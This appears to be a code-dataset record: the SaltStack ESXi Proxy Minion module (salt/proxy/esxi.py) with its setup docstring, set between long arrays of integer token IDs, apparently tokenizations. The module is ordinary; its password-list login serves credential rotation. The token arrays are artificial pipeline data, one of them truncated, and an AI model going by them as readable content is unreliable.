2261, 275, 2881, 267, 291, 14, 6520, 275, 6037, 267, 340, 440, 291, 14, 6520, 26, 288, 291, 14, 6520, 275, 2881, 14, 1301, 63, 1364, 63, 6520, 267, 291, 14, 12233, 63, 2912, 275, 942, 267, 291, 423, 83, 1587, 275, 488, 398, 327, 11247, 4566, 2202, 687, 1950, 436, 1104, 340, 1056, 1077, 506, 10514, 267, 291, 14, 3280, 275, 1052, 267, 291, 14, 1037, 63, 1069, 275, 756, 267, 340, 291, 14, 2261, 436, 291, 14, 2261, 14, 1897, 17, 26, 288, 340, 291, 14, 2261, 14, 1897, 17, 14, 1180, 63, 3280, 26, 355, 291, 14, 3280, 275, 791, 1014, 356, 291, 14, 2261, 14, 1897, 17, 14, 362, 63, 3280, 63, 633, 63, 1045, 63, 1178, 12737, 953, 291, 14, 1037, 63, 1069, 275, 2519, 8, 277, 14, 2261, 14, 1897, 17, 12, 283, 1037, 63, 1069, 297, 756, 9, 953, 340, 291, 14, 1037, 63, 1069, 26, 355, 327, 2790, 282, 2881, 1950, 370, 3222, 10514, 4145, 355, 4045, 17, 275, 291, 14, 2261, 14, 1897, 17, 355, 291, 14, 2261, 63, 2105, 275, 8142, 5278, 7705, 3225, 8, 490, 1591, 29, 277, 14, 6520, 12, 490, 11488, 63, 2732, 63, 498, 63, 344, 29, 1897, 17, 14, 7231, 63, 2732, 63, 498, 63, 344, 12, 490, 11488, 63, 4731, 63, 2732, 63, 498, 29, 1897, 17, 14, 7231, 63, 4731, 63, 2732, 63, 498, 12, 490, 4897, 29, 1897, 17, 14, 4551, 12, 490, 5022, 29, 1897, 17, 14, 3780, 355, 776, 339, 347, 1050, 8, 277, 12, 485, 344, 12, 1504, 304, 267, 408, 267, 2654, 282, 2213, 370, 506, 7686, 701, 314, 7543, 3167, 398, 710, 2213, 911, 440, 5965, 506, 3483, 5133, 520, 1532, 1705, 3543, 64, 365, 2797, 398, 520, 466, 485, 344, 26, 1059 ]
[ 1898, 334, 67, 9, 6029, 603, 9414, 598, 26272, 1455, 921, 71, 26272, 14, 1308, 15, 199, 3, 1898, 334, 67, 9, 6927, 14347, 14, 957, 12, 3277, 14, 503, 2399, 29172, 2335, 14, 2900, 5924, 5702, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 199, 3, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 199, 3, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 199, 3, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 2153, 13, 199, 3, 28420, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 199, 3, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 5420, 370, 314, 1699, 13, 199, 3, 28486, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 199, 3, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 199, 3, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 28471, 13, 199, 3, 28463, 12, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 199, 3, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 199, 3, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 3, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 3, 199, 199, 646, 6055, 14, 1971, 199, 504, 6055, 14, 5819, 492, 2022, 199, 646, 4145, 199, 646, 6055, 199, 504, 6055, 14, 4091, 1733, 2261, 14, 1897, 17, 492, 8142, 5278, 7705, 3225, 421, 199, 533, 8730, 3167, 1726, 8, 1726, 304, 272, 986, 421, 199, 533, 21447, 23055, 547, 8, 1726, 304, 272, 327, 12230, 1159, 886, 2005, 2402, 1736, 436, 4691, 314, 922, 2429, 2552, 641, 17049, 15, 2523, 5705, 14, 339, 2552, 275, 488, 421, 199, 533, 19694, 547, 8, 1726, 304, 272, 408, 272, 6646, 4847, 367, 8142, 8730, 16356, 1990, 22743, 5737, 14, 339, 961, 9987, 10986, 1380, 282, 2213, 365, 11584, 465, 2649, 1325, 2222, 13, 2975, 272, 4110, 787, 3451, 14, 272, 408, 272, 986, 421, 199, 533, 6646, 13749, 9551, 547, 8, 1726, 304, 272, 408, 272, 6646, 4847, 367, 8142, 8730, 16356, 1990, 4634, 1846, 339, 961, 911, 9987, 5992, 1380, 8247, 26102, 367, 16356, 1050, 1536, 370, 1655, 272, 2419, 314, 2304, 4370, 1126, 5802, 3522, 334, 21, 4567, 9, 339, 408, 272, 986, 421, 199, 533, 7543, 3167, 3225, 8, 785, 304, 272, 408, 272, 437, 8142, 5278, 2213, 2435, 14, 339, 710, 7543, 3167, 35, 368, 414, 365, 1202, 370, 1050, 12, 2813, 436, 1678, 8247, 315, 272, 8142, 5278, 14, 5817, 83, 787, 14238, 370, 8142, 5278, 315, 428, 3888, 334, 5278, 7543, 272, 9701, 680, 339, 4005, 3550, 376, 5827, 428, 3888, 12, 675, 520, 1532, 1705, 525, 64, 370, 1050, 503, 1678, 8247, 12, 272, 465, 5521, 465, 520, 1532, 1705, 1807, 64, 370, 2813, 8247, 14, 339, 19468, 314, 663, 402, 8247, 365, 10144, 370, 506, 1478, 12, 675, 520, 1532, 1705, 3543, 64, 370, 3222, 272, 314, 3718, 370, 8142, 5278, 14, 339, 982, 2337, 787, 282, 13918, 402, 8247, 370, 1478, 12, 652, 1443, 506, 16602, 461, 370, 3715, 314, 272, 10152, 402, 428, 3888, 666, 436, 314, 3503, 24349, 1901, 8142, 5278, 14, 13939, 272, 314, 1453, 428, 3888, 543, 520, 1532, 1705, 362, 63, 83, 1587, 2313, 982, 642, 570, 365, 314, 14238, 1901, 428, 19, 12, 272, 652, 883, 506, 12396, 1771, 26982, 367, 5802, 1901, 8142, 5278, 1808, 272, 520, 1532, 1705, 525, 63, 83, 1587, 63, 504, 63, 83, 19, 2313, 339, 710, 428, 3888, 365, 440, 20518, 2410, 282, 520, 1532, 1705, 3543, 2313, 982, 1265, 13809, 370, 1980, 272, 1808, 314, 7543, 3167, 3225, 367, 4573, 3522, 5802, 402, 3718, 12, 272, 1265, 911, 1929, 370, 520, 1532, 1705, 3584, 63, 83, 1587, 64, 1642, 370, 3631, 314, 4136, 3522, 402, 272, 3718, 687, 3769, 14238, 4020, 14, 339, 408, 339, 347, 636, 826, 721, 277, 12, 2881, 29, 403, 12, 6037, 29, 403, 304, 267, 291, 14, 2261, 275, 2881, 267, 291, 14, 6520, 275, 6037, 267, 340, 440, 291, 14, 6520, 26, 288, 291, 14, 6520, 275, 2881, 14, 1301, 63, 1364, 63, 6520, 267, 291, 14, 12233, 63, 2912, 275, 942, 267, 291, 423, 83, 1587, 275, 488, 398, 327, 11247, 4566, 2202, 687, 1950, 436, 1104, 340, 1056, 1077, 506, 10514, 267, 291, 14, 3280, 275, 1052, 267, 291, 14, 1037, 63, 1069, 275, 756, 267, 340, 291, 14, 2261, 436, 291, 14, 2261, 14, 1897, 17, 26, 288, 340, 291, 14, 2261, 14, 1897, 17, 14, 1180, 63, 3280, 26, 355, 291, 14, 3280, 275, 791, 1014, 356, 291, 14, 2261, 14, 1897, 17, 14, 362, 63, 3280, 63, 633, 63, 1045, 63, 1178, 12737, 953, 291, 14, 1037, 63, 1069, 275, 2519, 8, 277, 14, 2261, 14, 1897, 17, 12, 283, 1037, 63, 1069, 297, 756, 9, 953, 340, 291, 14, 1037, 63, 1069, 26, 355, 327, 2790, 282, 2881, 1950, 370, 3222, 10514, 4145, 355, 4045, 17, 275, 291, 14, 2261, 14, 1897, 17, 355, 291, 14, 2261, 63, 2105, 275, 8142, 5278, 7705, 3225, 8, 490, 1591, 29, 277, 14, 6520, 12, 490, 11488, 63, 2732, 63, 498, 63, 344, 29, 1897, 17, 14, 7231, 63, 2732, 63, 498, 63, 344, 12, 490, 11488, 63, 4731, 63, 2732, 63, 498, 29, 1897, 17, 14, 7231, 63, 4731, 63, 2732, 63, 498, 12, 490, 4897, 29, 1897, 17, 14, 4551, 12, 490, 5022, 29, 1897, 17, 14, 3780, 355, 776, 339, 347, 1050, 8, 277, 12, 485, 344, 12, 1504, 304, 267, 408, 267, 2654, 282, 2213, 370, 506, 7686, 701, 314, 7543, 3167, 398, 710, 2213, 911, 440, 5965, 506, 3483, 5133, 520, 1532, 1705, 3543, 64, 365, 2797, 398,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 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
stephane-martin/salt-debian-packaging
salt-2016.3.3/salt/proxy/esxi.py
3
14544
# -*- coding: utf-8 -*- ''' Proxy Minion interface module for managing VMWare ESXi hosts. .. versionadded:: 2015.8.4 **Special Note: SaltStack thanks** `Adobe Corporation <http://adobe.com/>`_ **for their support in creating this Proxy Minion integration.** This proxy minion enables VMware ESXi (hereafter referred to as simply 'ESXi') hosts to be treated individually like a Salt Minion. Since the ESXi host may not necessarily run on an OS capable of hosting a Python stack, the ESXi host can't run a Salt Minion directly. Salt's "Proxy Minion" functionality enables you to designate another machine to host a minion process that "proxies" communication from the Salt Master. The master does not know nor care that the target is not a "real" Salt Minion. More in-depth conceptual reading on Proxy Minions can be found in the :doc:`Proxy Minion </topics/proxyminion/index>` section of Salt's documentation. Dependencies ============ - pyVmomi Python Module - ESXCLI pyVmomi ------- PyVmomi can be installed via pip: .. code-block:: bash pip install pyVmomi .. note:: Version 6.0 of pyVmomi has some problems with SSL error handling on certain versions of Python. If using version 6.0 of pyVmomi, Python 2.6, Python 2.7.9, or newer must be present. This is due to an upstream dependency in pyVmomi 6.0 that is not supported in Python versions 2.7 to 2.7.8. If the version of Python is not in the supported range, you will need to install an earlier version of pyVmomi. See `Issue #29537`_ for more information. .. _Issue #29537: https://github.com/saltstack/salt/issues/29537 Based on the note above, to install an earlier version of pyVmomi than the version currently listed in PyPi, run the following: .. code-block:: bash pip install pyVmomi==5.5.0.2014.1.1 The 5.5.0.2014.1.1 is a known stable version that this original ESXi State Module was developed against. ESXCLI ------ Currently, about a third of the functions used in the vSphere Execution Module require the ESXCLI package be installed on the machine running the Proxy Minion process. The ESXCLI package is also referred to as the VMware vSphere CLI, or vCLI. VMware provides vCLI package installation instructions for `vSphere 5.5`_ and `vSphere 6.0`_. .. _vSphere 5.5: http://pubs.vmware.com/vsphere-55/index.jsp#com.vmware.vcli.getstart.doc/cli_install.4.2.html .. _vSphere 6.0: http://pubs.vmware.com/vsphere-60/index.jsp#com.vmware.vcli.getstart.doc/cli_install.4.2.html Once all of the required dependencies are in place and the vCLI package is installed, you can check to see if you can connect to your ESXi host or vCenter server by running the following command: .. code-block:: bash esxcli -s <host-location> -u <username> -p <password> system syslog config get If the connection was successful, ESXCLI was successfully installed on your system. You should see output related to the ESXi host's syslog configuration. Configuration ============= To use this integration proxy module, please configure the following: Pillar ------ Proxy minions get their configuration from Salt's Pillar. Every proxy must have a stanza in Pillar and a reference in the Pillar top-file that matches the ID. At a minimum for communication with the ESXi host, the pillar should look like this: .. code-block:: yaml proxy: proxytype: esxi host: <ip or dns name of esxi host> username: <ESXi username> passwords: - first_password - second_password - third_password proxytype ^^^^^^^^^ The ``proxytype`` key and value pair is critical, as it tells Salt which interface to load from the ``proxy`` directory in Salt's install hierarchy, or from ``/srv/salt/_proxy`` on the Salt Master (if you have created your own proxy module, for example). To use this ESXi Proxy Module, set this to ``esxi``. host ^^^^ The location, or ip/dns, of the ESXi host. Required. username ^^^^^^^^ The username used to login to the ESXi host, such as ``root``. Required. passwords ^^^^^^^^^ A list of passwords to be used to try and login to the ESXi host. At least one password in this list is required. The proxy integration will try the passwords listed in order. It is configured this way so you can have a regular password and the password you may be updating for an ESXi host either via the :doc:`vsphere.update_host_password </ref/modules/all/salt.modules.vsphere>` execution module function or via the :doc:`esxi.password_present </ref/modules/all/salt.states.esxi>` state function. This way, after the password is changed, you should not need to restart the proxy minion--it should just pick up the the new password provided in the list. You can then change pillar at will to move that password to the front and retire the unused ones. This also allows you to use any number of potential fallback passwords. .. note:: When a password is changed on the host to one in the list of possible passwords, the further down on the list the password is, the longer individual commands will take to return. This is due to the nature of pyVmomi's login system. We have to wait for the first attempt to fail before trying the next password on the list. This scenario is especially true, and even slower, when the proxy minion first starts. If the correct password is not the first password on the list, it may take up to a minute for ``test.ping`` to respond with a ``True`` result. Once the initial authorization is complete, the responses for commands will be a little faster. To avoid these longer waiting periods, SaltStack recommends moving the correct password to the top of the list and restarting the proxy minion at your earliest convenience. protocol ^^^^^^^^ If the ESXi host is not using the default protocol, set this value to an alternate protocol. Default is ``https``. port ^^^^ If the ESXi host is not using the default port, set this value to an alternate port. Default is ``443``. Salt Proxy ---------- After your pillar is in place, you can test the proxy. The proxy can run on any machine that has network connectivity to your Salt Master and to the ESXi host in question. SaltStack recommends that the machine running the salt-proxy process also run a regular minion, though it is not strictly necessary. On the machine that will run the proxy, make sure there is an ``/etc/salt/proxy`` file with at least the following in it: .. code-block:: yaml master: <ip or hostname of salt-master> You can then start the salt-proxy process with: .. code-block:: bash salt-proxy --proxyid <id you want to give the host> You may want to add ``-l debug`` to run the above in the foreground in debug mode just to make sure everything is OK. Next, accept the key for the proxy on your salt-master, just like you would for a regular minion: .. code-block:: bash salt-key -a <id you gave the esxi host> You can confirm that the pillar data is in place for the proxy: .. code-block:: bash salt <id> pillar.items And now you should be able to ping the ESXi host to make sure it is responding: .. code-block:: bash salt <id> test.ping At this point you can execute one-off commands against the host. For example, you can get the ESXi host's system information: .. code-block:: bash salt <id> esxi.cmd system_info Note that you don't need to provide credentials or an ip/hostname. Salt knows to use the credentials you stored in Pillar. It's important to understand how this particular proxy works. :doc:`Salt.modules.vsphere </ref/modules/all/salt.modules.vsphere>` is a standard Salt execution module. If you pull up the docs for it you'll see that almost every function in the module takes credentials and a target host. When credentials and a host aren't passed, Salt runs commands through ``pyVmomi`` against the local machine. If you wanted, you could run functions from this module on any host where an appropriate version of ``pyVmomi`` is installed, and that host would reach out over the network and communicate with the ESXi host. ``esxi.cmd`` acts as a "shim" between the execution module and the proxy. Its first parameter is always the function from salt.modules.vsphere. If the function takes more positional or keyword arguments you can append them to the call. It's this shim that speaks to the ESXi host through the proxy, arranging for the credentials and hostname to be pulled from the Pillar section for this Proxy Minion. Because of the presence of the shim, to lookup documentation for what functions you can use to interface with the ESXi host, you'll want to look in :doc:`salt.modules.vsphere </ref/modules/all/salt.modules.vsphere>` instead of :doc:`salt.modules.esxi </ref/modules/all/salt.modules.esxi>`. States ------ Associated states are thoroughly documented in :doc:`salt.states.esxi </ref/states/all/salt.states.esxi>`. Look there to find an example structure for Pillar as well as an example ``.sls`` file for standing up an ESXi host from scratch. ''' # Import Python Libs from __future__ import absolute_import import logging # Import Salt Libs from salt.exceptions import SaltSystemExit # This must be present or the Salt loader won't load this module. __proxyenabled__ = ['esxi'] # Variables are scoped to this module so we can have persistent data # across calls to fns in here. GRAINS_CACHE = {} DETAILS = {} # Set up logging log = logging.getLogger(__file__) # Define the module's virtual name __virtualname__ = 'esxi' def __virtual__(): ''' Only load if the ESXi execution module is available. ''' if 'vsphere.system_info' in __salt__: return __virtualname__ return False, 'The ESXi Proxy Minion module did not load.' def init(opts): ''' This function gets called when the proxy starts up. For ESXi devices, the host, login credentials, and, if configured, the protocol and port are cached. ''' if 'host' not in opts['proxy']: log.critical('No \'host\' key found in pillar for this proxy.') return False if 'username' not in opts['proxy']: log.critical('No \'username\' key found in pillar for this proxy.') return False if 'passwords' not in opts['proxy']: log.critical('No \'passwords\' key found in pillar for this proxy.') return False host = opts['proxy']['host'] # Get the correct login details try: username, password = find_credentials(host) except SaltSystemExit as err: log.critical('Error: {0}'.format(err)) return False # Set configuration details DETAILS['host'] = host DETAILS['username'] = username DETAILS['password'] = password DETAILS['protocol'] = opts['proxy'].get('protocol') DETAILS['port'] = opts['proxy'].get('port') def grains(): ''' Get the grains from the proxy device. ''' if not GRAINS_CACHE: return _grains(DETAILS['host'], DETAILS['protocol'], DETAILS['port']) return GRAINS_CACHE def grains_refresh(): ''' Refresh the grains from the proxy device. ''' GRAINS_CACHE = {} return grains() def ping(): ''' Check to see if the host is responding. Returns False if the host didn't respond, True otherwise. CLI Example: .. code-block:: bash salt esxi-host test.ping ''' find_credentials(DETAILS['host']) try: __salt__['vsphere.system_info'](host=DETAILS['host'], username=DETAILS['username'], password=DETAILS['password']) except SaltSystemExit as err: log.warning(err) return False return True def shutdown(): ''' Shutdown the connection to the proxy device. For this proxy, shutdown is a no-op. ''' log.debug('ESXi proxy shutdown() called...') def ch_config(cmd, *args, **kwargs): ''' This function is called by the :doc:`salt.modules.esxi.cmd </ref/modules/all/salt.modules.esxi>` shim. It then calls whatever is passed in ``cmd`` inside the :doc:`salt.modules.vsphere </ref/modules/all/salt.modules.vsphere>` module. Passes the return through from the vsphere module. cmd The command to call inside salt.modules.vsphere args Arguments that need to be passed to that command. kwargs Keyword arguments that need to be passed to that command. ''' # Strip the __pub_ keys...is there a better way to do this? for k in kwargs.keys(): if k.startswith('__pub_'): kwargs.pop(k) if 'vsphere.' + cmd not in __salt__: return {'retcode': -1, 'message': 'vsphere.' + cmd + ' is not available.'} else: return __salt__['vsphere.' + cmd](*args, **kwargs) def find_credentials(host): ''' Cycle through all the possible credentials and return the first one that works. ''' user_names = [__pillar__['proxy'].get('username', 'root')] passwords = __pillar__['proxy']['passwords'] for user in user_names: for password in passwords: try: # Try to authenticate with the given user/password combination ret = __salt__['vsphere.system_info'](host=host, username=user, password=password) except SaltSystemExit: # If we can't authenticate, continue on to try the next password. continue # If we have data returned from above, we've successfully authenticated. if ret: DETAILS['username'] = user DETAILS['password'] = password return user, password # We've reached the end of the list without successfully authenticating. raise SaltSystemExit('Cannot complete login due to an incorrect user name or password.') def _grains(host, protocol=None, port=None): ''' Helper function to the grains from the proxied device. ''' username, password = find_credentials(DETAILS['host']) ret = __salt__['vsphere.system_info'](host=host, username=username, password=password, protocol=protocol, port=port) GRAINS_CACHE.update(ret) return GRAINS_CACHE
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 2344, 199, 4936, 10195, 1636, 3217, 859, 367, 28453, 7525, 55, 1530, 10427, 14828, 7057, 14, 199, 199, 703, 7445, 447, 6900, 14, 24, 14, 20, 199, 199, 538, 12246, 3390, 26, 428, 4478, 4851, 2419, 6080, 538, 658, 33, 1117, 1235, 11098, 665, 1014, 921, 5129, 1235, 14, 957, 3133, 18417, 199, 538, 509, 3932, 2291, 315, 6425, 642, 12373, 10195, 1636, 13150, 14, 538, 199, 199, 2765, 4566, 1748, 1636, 22741, 27391, 10427, 14828, 334, 1681, 4399, 25713, 370, 465, 9329, 283, 654, 14828, 358, 199, 5146, 370, 506, 10184, 7814, 3163, 2839, 282, 428, 4478, 10195, 1636, 14, 199, 199, 24430, 314, 10427, 14828, 1591, 1443, 440, 20513, 1255, 641, 376, 4403, 4021, 461, 402, 1591, 316, 282, 199, 4718, 3464, 12, 314, 10427, 14828, 1591, 883, 1133, 1255, 282, 428, 4478, 10195, 1636, 5370, 14, 428, 4478, 1159, 199, 2, 4936, 10195, 1636, 2, 9330, 22741, 1265, 370, 12899, 323, 4573, 6844, 370, 1591, 199, 65, 1748, 1636, 2112, 626, 298, 17128, 2, 23506, 687, 314, 428, 4478, 26728, 14, 710, 5288, 199, 9105, 440, 5715, 6590, 10296, 626, 314, 1347, 365, 440, 282, 298, 3093, 2, 428, 4478, 10195, 1636, 14, 199, 199, 11053, 315, 13, 4631, 19834, 1061, 7664, 641, 12373, 10195, 15293, 883, 506, 1911, 315, 314, 199, 26, 1301, 1705, 4936, 10195, 1636, 3068, 11299, 15, 3280, 827, 1636, 15, 1080, 8637, 3420, 402, 428, 4478, 1159, 199, 9970, 14, 421, 199, 11927, 199, 5769, 199, 199, 13, 1134, 54, 28603, 2018, 5673, 199, 13, 10427, 56, 7802, 421, 199, 647, 54, 28603, 199, 12797, 199, 199, 2713, 54, 28603, 883, 506, 4903, 4799, 7305, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 7305, 3907, 1134, 54, 28603, 199, 199, 703, 5317, 447, 339, 3394, 1227, 14, 16, 402, 1134, 54, 28603, 965, 2005, 8826, 543, 7799, 1125, 7252, 641, 9842, 272, 5459, 402, 2018, 14, 982, 1808, 1015, 1227, 14, 16, 402, 1134, 54, 28603, 12, 2018, 499, 14, 22, 12, 272, 2018, 499, 14, 23, 14, 25, 12, 503, 15666, 1471, 506, 3451, 14, 961, 365, 7037, 370, 376, 18932, 5936, 272, 315, 1134, 54, 28603, 1227, 14, 16, 626, 365, 440, 3748, 315, 2018, 5459, 499, 14, 23, 370, 499, 14, 23, 14, 24, 14, 982, 314, 272, 1015, 402, 2018, 365, 440, 315, 314, 3748, 1425, 12, 1265, 911, 1929, 370, 3907, 376, 272, 14119, 1015, 402, 1134, 54, 28603, 14, 1666, 658, 17106, 327, 11405, 1401, 18417, 367, 1655, 2556, 14, 199, 199, 703, 485, 17106, 327, 11405, 1401, 26, 4178, 921, 5031, 14, 957, 15, 12597, 2340, 15, 12597, 15, 10115, 15, 11405, 1401, 199, 199, 20409, 641, 314, 5317, 3432, 12, 370, 3907, 376, 14119, 1015, 402, 1134, 54, 28603, 2419, 314, 199, 1023, 5544, 10532, 315, 1611, 10542, 12, 1255, 314, 2569, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 7305, 3907, 1134, 54, 28603, 389, 21, 14, 21, 14, 16, 14, 7280, 14, 17, 14, 17, 199, 199, 1918, 959, 14, 21, 14, 16, 14, 7280, 14, 17, 14, 17, 365, 282, 6040, 17830, 1015, 626, 642, 3379, 10427, 14828, 8511, 199, 2377, 1990, 477, 27813, 6169, 14, 199, 199, 654, 56, 7802, 199, 8648, 199, 199, 31499, 12, 3595, 282, 10919, 402, 314, 3423, 1202, 315, 314, 373, 22385, 28573, 5673, 4409, 199, 1589, 10427, 56, 7802, 2559, 506, 4903, 641, 314, 6844, 3879, 314, 12373, 10195, 1636, 2112, 14, 199, 199, 1918, 10427, 56, 7802, 2559, 365, 2597, 25713, 370, 465, 314, 27391, 373, 22385, 14214, 12, 503, 373, 7802, 14, 27391, 199, 20121, 373, 7802, 2559, 12096, 15794, 367, 658, 86, 22385, 959, 14, 21, 18417, 436, 199, 64, 86, 22385, 1227, 14, 16, 32578, 199, 199, 703, 485, 86, 22385, 959, 14, 21, 26, 1455, 921, 5645, 83, 14, 18970, 14, 957, 15, 86, 14980, 13, 1229, 15, 1080, 14, 74, 681, 3, 957, 14, 18970, 14, 86, 2764, 14, 362, 928, 14, 1301, 15, 2764, 63, 3174, 14, 20, 14, 18, 14, 1360, 199, 703, 485, 86, 22385, 1227, 14, 16, 26, 1455, 921, 5645, 83, 14, 18970, 14, 957, 15, 86, 14980, 13, 2259, 15, 1080, 14, 74, 681, 3, 957, 14, 18970, 14, 86, 2764, 14, 362, 928, 14, 1301, 15, 2764, 63, 3174, 14, 20, 14, 18, 14, 1360, 199, 199, 25690, 1006, 402, 314, 1415, 5124, 787, 315, 4192, 436, 314, 373, 7802, 2559, 365, 199, 7657, 12, 1265, 883, 1104, 370, 1937, 340, 1265, 883, 4907, 370, 2195, 10427, 14828, 1591, 503, 373, 13551, 199, 1000, 701, 3879, 314, 2569, 1414, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 9455, 1812, 317, 446, 83, 665, 1102, 13, 1985, 30, 446, 85, 665, 2473, 30, 446, 80, 665, 2060, 30, 2656, 22112, 1101, 664, 199, 199, 3917, 314, 1950, 1990, 9512, 12, 10427, 56, 7802, 1990, 8792, 4903, 641, 2195, 2656, 14, 199, 5556, 1077, 1937, 1072, 4048, 370, 314, 10427, 14828, 1591, 1159, 22112, 2897, 14, 421, 199, 5688, 199, 9152, 199, 1378, 675, 642, 13150, 4566, 859, 12, 8749, 7908, 314, 2569, 26, 199, 199, 48, 778, 285, 199, 8648, 199, 199, 4936, 1748, 15293, 664, 3932, 2897, 687, 428, 4478, 1159, 510, 778, 285, 14, 18414, 4566, 1471, 199, 7804, 282, 24267, 315, 510, 778, 285, 436, 282, 3659, 315, 314, 510, 778, 285, 2746, 13, 493, 626, 4450, 199, 1589, 2870, 14, 2854, 282, 7481, 367, 23506, 543, 314, 10427, 14828, 1591, 12, 314, 299, 778, 285, 1077, 199, 11660, 2839, 642, 26, 199, 199, 703, 1233, 13, 1457, 447, 8864, 339, 4566, 26, 489, 4566, 466, 26, 9455, 6865, 489, 1591, 26, 665, 711, 503, 6715, 536, 402, 9455, 6865, 1591, 30, 489, 3434, 26, 665, 654, 14828, 3434, 30, 489, 19572, 26, 267, 446, 1642, 63, 2060, 267, 446, 3499, 63, 2060, 267, 446, 10919, 63, 2060, 199, 199, 3280, 466, 199, 19628, 19628, 62, 199, 1918, 1124, 3280, 466, 1040, 790, 436, 574, 4092, 365, 19698, 12, 465, 652, 26544, 428, 4478, 1314, 199, 3266, 370, 2248, 687, 314, 1124, 3280, 1040, 2082, 315, 428, 4478 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 2344, 199, 4936, 10195, 1636, 3217, 859, 367, 28453, 7525, 55, 1530, 10427, 14828, 7057, 14, 199, 199, 703, 7445, 447, 6900, 14, 24, 14, 20, 199, 199, 538, 12246, 3390, 26, 428, 4478, 4851, 2419, 6080, 538, 658, 33, 1117, 1235, 11098, 665, 1014, 921, 5129, 1235, 14, 957, 3133, 18417, 199, 538, 509, 3932, 2291, 315, 6425, 642, 12373, 10195, 1636, 13150, 14, 538, 199, 199, 2765, 4566, 1748, 1636, 22741, 27391, 10427, 14828, 334, 1681, 4399, 25713, 370, 465, 9329, 283, 654, 14828, 358, 199, 5146, 370, 506, 10184, 7814, 3163, 2839, 282, 428, 4478, 10195, 1636, 14, 199, 199, 24430, 314, 10427, 14828, 1591, 1443, 440, 20513, 1255, 641, 376, 4403, 4021, 461, 402, 1591, 316, 282, 199, 4718, 3464, 12, 314, 10427, 14828, 1591, 883, 1133, 1255, 282, 428, 4478, 10195, 1636, 5370, 14, 428, 4478, 1159, 199, 2, 4936, 10195, 1636, 2, 9330, 22741, 1265, 370, 12899, 323, 4573, 6844, 370, 1591, 199, 65, 1748, 1636, 2112, 626, 298, 17128, 2, 23506, 687, 314, 428, 4478, 26728, 14, 710, 5288, 199, 9105, 440, 5715, 6590, 10296, 626, 314, 1347, 365, 440, 282, 298, 3093, 2, 428, 4478, 10195, 1636, 14, 199, 199, 11053, 315, 13, 4631, 19834, 1061, 7664, 641, 12373, 10195, 15293, 883, 506, 1911, 315, 314, 199, 26, 1301, 1705, 4936, 10195, 1636, 3068, 11299, 15, 3280, 827, 1636, 15, 1080, 8637, 3420, 402, 428, 4478, 1159, 199, 9970, 14, 421, 199, 11927, 199, 5769, 199, 199, 13, 1134, 54, 28603, 2018, 5673, 199, 13, 10427, 56, 7802, 421, 199, 647, 54, 28603, 199, 12797, 199, 199, 2713, 54, 28603, 883, 506, 4903, 4799, 7305, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 7305, 3907, 1134, 54, 28603, 199, 199, 703, 5317, 447, 339, 3394, 1227, 14, 16, 402, 1134, 54, 28603, 965, 2005, 8826, 543, 7799, 1125, 7252, 641, 9842, 272, 5459, 402, 2018, 14, 982, 1808, 1015, 1227, 14, 16, 402, 1134, 54, 28603, 12, 2018, 499, 14, 22, 12, 272, 2018, 499, 14, 23, 14, 25, 12, 503, 15666, 1471, 506, 3451, 14, 961, 365, 7037, 370, 376, 18932, 5936, 272, 315, 1134, 54, 28603, 1227, 14, 16, 626, 365, 440, 3748, 315, 2018, 5459, 499, 14, 23, 370, 499, 14, 23, 14, 24, 14, 982, 314, 272, 1015, 402, 2018, 365, 440, 315, 314, 3748, 1425, 12, 1265, 911, 1929, 370, 3907, 376, 272, 14119, 1015, 402, 1134, 54, 28603, 14, 1666, 658, 17106, 327, 11405, 1401, 18417, 367, 1655, 2556, 14, 199, 199, 703, 485, 17106, 327, 11405, 1401, 26, 4178, 921, 5031, 14, 957, 15, 12597, 2340, 15, 12597, 15, 10115, 15, 11405, 1401, 199, 199, 20409, 641, 314, 5317, 3432, 12, 370, 3907, 376, 14119, 1015, 402, 1134, 54, 28603, 2419, 314, 199, 1023, 5544, 10532, 315, 1611, 10542, 12, 1255, 314, 2569, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 7305, 3907, 1134, 54, 28603, 389, 21, 14, 21, 14, 16, 14, 7280, 14, 17, 14, 17, 199, 199, 1918, 959, 14, 21, 14, 16, 14, 7280, 14, 17, 14, 17, 365, 282, 6040, 17830, 1015, 626, 642, 3379, 10427, 14828, 8511, 199, 2377, 1990, 477, 27813, 6169, 14, 199, 199, 654, 56, 7802, 199, 8648, 199, 199, 31499, 12, 3595, 282, 10919, 402, 314, 3423, 1202, 315, 314, 373, 22385, 28573, 5673, 4409, 199, 1589, 10427, 56, 7802, 2559, 506, 4903, 641, 314, 6844, 3879, 314, 12373, 10195, 1636, 2112, 14, 199, 199, 1918, 10427, 56, 7802, 2559, 365, 2597, 25713, 370, 465, 314, 27391, 373, 22385, 14214, 12, 503, 373, 7802, 14, 27391, 199, 20121, 373, 7802, 2559, 12096, 15794, 367, 658, 86, 